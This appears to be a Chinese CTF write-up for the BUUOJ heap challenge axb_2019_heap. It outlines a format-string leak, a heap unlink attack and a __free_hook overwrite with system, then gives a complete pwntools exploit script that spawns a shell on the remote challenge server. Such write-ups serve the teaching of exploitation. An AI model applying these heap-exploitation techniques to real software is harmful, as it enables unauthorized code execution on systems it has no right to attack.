zoukankan      html  css  js  c++  java
  • axb_2019_heap

    利用思路

    指针没学好...导致这题卡了好久....orz

    • 首先利用格式化字符串泄露 libc 和程序基址。
    • 运用 unlink ,将 chunk 0 的地址覆写为 free_hook 的地址。
    • 将system 地址写入 free_hook。
    • 触发写入了 '/bin/sh' 的块的删除,执行 system('/bin/sh')。

    exp 脚本

    from pwn_debug import *
    
    context.log_level = 'debug'
    
    pdbg = pwn_debug('axb_2019_heap')
    pdbg.local()
    pdbg.remote('node3.buuoj.cn',25087)
    p = pdbg.run('remote')
    libc = pdbg.libc
    elf=ELF('./axb_2019_heap')
    
    def add(idx,size,content):
    	p.sendlineafter('>>','1')
    	p.sendlineafter('):',str(idx))
    	p.sendlineafter('size:',str(size))
    	p.sendlineafter('content:',content)
    
    def delete(idx):
    	p.sendlineafter('>>','2')
    	p.sendlineafter('index:',str(idx))
    
    def edit(idx,content):
    	p.sendlineafter('>>','4')
    	p.sendlineafter('index:',str(idx))
    	p.sendlineafter('content: 
    ',content)
    
    def show():
    	p.sendlineafter('>>','3')
    
    p.recvuntil('name: ')
    p.sendline('%11$p%15$p')
    p.recvuntil('Hello, ')
    base=int(p.recv(14),16)-0x1186
    libcbase=int(p.recv(14),16)-libc.sym['__libc_start_main']-240
    system=libcbase+libc.sym['system']
    free_hook=libcbase+libc.sym['__free_hook']
    bss=base+0x202060
    add(0,0x98,'a'*0x98)#0
    add(1,0x98,'bbbb')#1
    add(2,0x90,'cccc')#2
    add(3,0x90,'/bin/shx00')#3
    
    #gdb.attach(p)
    
    payload=p64(0)+p64(0x91)+p64(bss-0x18)+p64(bss-0x10)+p64(0)*14+p64(0x90)+'xa0'
    edit(0,payload)
    #gdb.attach(p)
    delete(1)
    #gdb.attach(p)
    edit(0,p64(0)*3+p64(free_hook)+p64(0x10))
    edit(0,p64(system))
    delete(3)
    
    p.interactive()
    

    get flag

    内容来源

    axb_2019_heap

  • 相关阅读:
    Android的startActivityForResult()与onActivityResult()与setResult()参数分析,activity带参数的返回
    git stash 保存当前工作状态
    vim diff 的使用
    git pull 命令
    java 开发环境安装
    vim 处理换行符
    git 操作分支
    git 操作远程仓库地址
    vim 宏的使用
    Chrome 调试技巧
  • 原文地址:https://www.cnblogs.com/luoleqi/p/12422495.html
Copyright © 2011-2022 走看看